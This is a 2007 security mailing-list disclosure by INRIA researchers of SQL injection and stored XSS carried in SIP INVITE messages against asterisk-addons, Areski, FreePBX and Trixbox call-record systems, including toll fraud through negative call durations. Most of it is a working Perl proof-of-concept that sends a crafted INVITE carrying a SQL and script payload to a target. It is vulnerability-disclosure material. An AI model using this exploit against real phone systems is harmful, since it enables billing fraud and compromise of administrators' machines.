[VOIPSEC] XSS and SQL injection via SIP (part 2) and toll fraud bonus

Radu State State at loria.fr
Fri Oct 19 18:59:32 CDT 2007


In a previous post (http://seclists.org/fulldisclosure/2007/Oct/0174.html) ,
we have posted how XSS injection can be performed over SIP to inject
malicious JavaScript into the browser of an user that check  the call
history of his phone.  In this post, we will detail how XSS injection can be
performed over SIP by an additional SQL injection.

 

Some SIP proxies store information gathered from SIP headers into databases
used  for billing and accounting purposes. This is also the case for the
vulnerability disclosed in the following.  If this information is not
properly filtered, once it will be displayed to the administrator it can
perform a second order SQL Injection, that is : during the display, it gets
interpreted as SQL by the application.  In this case, two things can result:
First, the database can be changed (for instance the call length can be
changed to a small value and thus the caller can do toll fraud. Sometimes,
if the target system is not well secured, SQL injection can lead to system
compromise because most database server allow some interaction with the
target OS.

 

However, the additional feature is that XSS can also result, because
JavaScript can be stored into the database with the SQL injection  and
executed on the browser when the admin will check it (this is a kind of log
Injection process). As was pointed out in my previous posting, XSS can be
used with tools like Beef and XSS proxy to scan the internal network,
deactivate firewalls, basically all the dangers of CSRF/XSRF are not a
reality. The main issue is that most applications that deal with CDR data
are not considering this type of threat

Title : SQL injection in asterisk-addons and XSS injection in WWW
application in Areski, FreePBX and Trixbox

Id: KIPH 12

Credits 

Humberto Abdelnur (Ph.D student) the Madynes group at INRIA 

Radu State (Ph.D), the Madynes group at INRIA 

Olivier Festor (Ph.D), the Madynes group at INRIA 

Software version for which vendors were notified: 

Asterisk-addon (SQL injection)

Areski v 2.0.1 and earlier (XSS injection)

FreePBX (2.3.00 and earlier) XSS injection

Tribox v.2.3.1 and earlier (XSS injection) 

 Severity:  High, XSS and  SQL injection can lead to the compromise of an
internal network


Overview:

Areski, FreePBX and Trixbox use the information stored in Asterisk  database
in order to manage, compute generate billing reports or  display  the load
of the PBX.

Vulnerability Synopsis:

. This issue will allow, to a malicious user,  two main attacks:

1.	 Inject SQL statements which will obfuscate the quantity of minute
made for the billing 
2.	 Inject through the SQL statement values which will be recognized as
a Java script when a WWW management application for CDR run. 

The attack may be performed by an unsubscribed user in the domain (if
anonymous calls are allowed). 
This attacker may inject negative number in the CDR table in order to
decrease the minutes of calling. Also, the attacker may inject Java Script
tags to be executed by the administrator PC when she/he enter to the CDR
website. 

Impact:

Information from the database can be manipulated for malicious used. 

Execution of malicious scripts may be executed in the administrator machine.

Proof of Concept:


The script will create an entry with duration values -9 and
<script>alert(1)</script> that will be show when the administrator check the
website.

Command: asterisk_cdr_sqlinjection.pl <callUser> <targetIP> <targetPort>
<attackerUser> <localIP> <localPort> 

-- 

#!/usr/bin/perl

 

#############################################

# Vulnerabily discovered using KiF ~ Kiph   #

#                                           #

# Authors:                                  #

#             Humberto J. Abdelnur (Ph.D Student)     #

#             Radu State (Ph.D)                       #

#             Olivier Festor (Ph.D)                   #

#                                           #

# Madynes Team, LORIA - INRIA Lorraine      #

# http://madynes.loria.fr                   #

#############################################

 

use IO::Socket::INET;

use String::Random;

$foo = new String::Random;

 

die "Usage $0 <callUser> <targetIP> <targetPort> <attackerUser> <localIP>
<localPort>" unless ($ARGV[5]);

 

sub iso2hex($) {

          my $hex = '';

          for (my $i = 0; $i < length($_[0]); $i++) {

                  my $ordno = ord substr($_[0], $i, 1);

                  $hex .= sprintf("%lx", $ordno);

          }

  

          $hex =~ s/ $//;;

          $hex;

}

  

 

$callUser = $ARGV[0];

$targetIP = $ARGV[1];

$targetPort = $ARGV[2];

 

$attackerUser = $ARGV[3];

$attackerIP= $ARGV[4];

$attackerPort= $ARGV[5];

 

$socket=new IO::Socket::INET->new(

                               Proto=>'udp',

                               PeerPort=>$targetPort,

        PeerAddr=>$targetIP,

                               LocalPort=>$attackerPort);

 

$scriptinjection= iso2hex("<script>alert(1)</script>");

$sqlinjection= "',1,2,3,4,5,-9,-9,0x$scriptinjection,6,7,8)/*";

 

$callid= $foo->randpattern("CCccnCn");

$cseq = $foo->randregex('\d\d\d\d');

 

$sdp = "v=0\r

o=Lupilu 63356722367567875 63356722367567875 IN IP4 $attackerIP\r

s=-\r

c=IN IP4 $attackerIP\r

t=0 0\r

m=audio 49152 RTP/AVP 96 0 8 97 18 98 13\r

a=sendrecv\r

a=ptime:20\r

a=maxptime:200\r

a=fmtp:96 mode-change-neighbor=1\r

a=fmtp:18 annexb=no\r

a=fmtp:98 0-15\r

a=rtpmap:96 AMR/8000/1\r

a=rtpmap:0 PCMU/8000/1\r

a=rtpmap:8 PCMA/8000/1\r

a=rtpmap:97 iLBC/8000/1\r

a=rtpmap:18 G729/8000/1\r

a=rtpmap:98 telephone-event/8000/1\r

a=rtpmap:13 CN/8000/1\r

";

$sdplen= length $sdp;

 

$msg = "INVITE sip:$sqlinjection\@$targetIP SIP/2.0\r

Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1;rport\r

From: <sip:$attackerUser\@$attackerIP>;tag=1\r

To: <sip:$callUser\@$targetIP>\r

Call-ID: $callid\@$attackerIP\r

CSeq: $cseq INVITE\r

Max-Forwards: 70\r

Contact: <sip:$attackerUser\@$attackerIP>\r

Content-Type: application/sdp\r

Content-Length: $sdplen\r

\r

$sdp";

 

$socket->send($msg);

 

 

 

 

 

 




More information about the Voipsec mailing list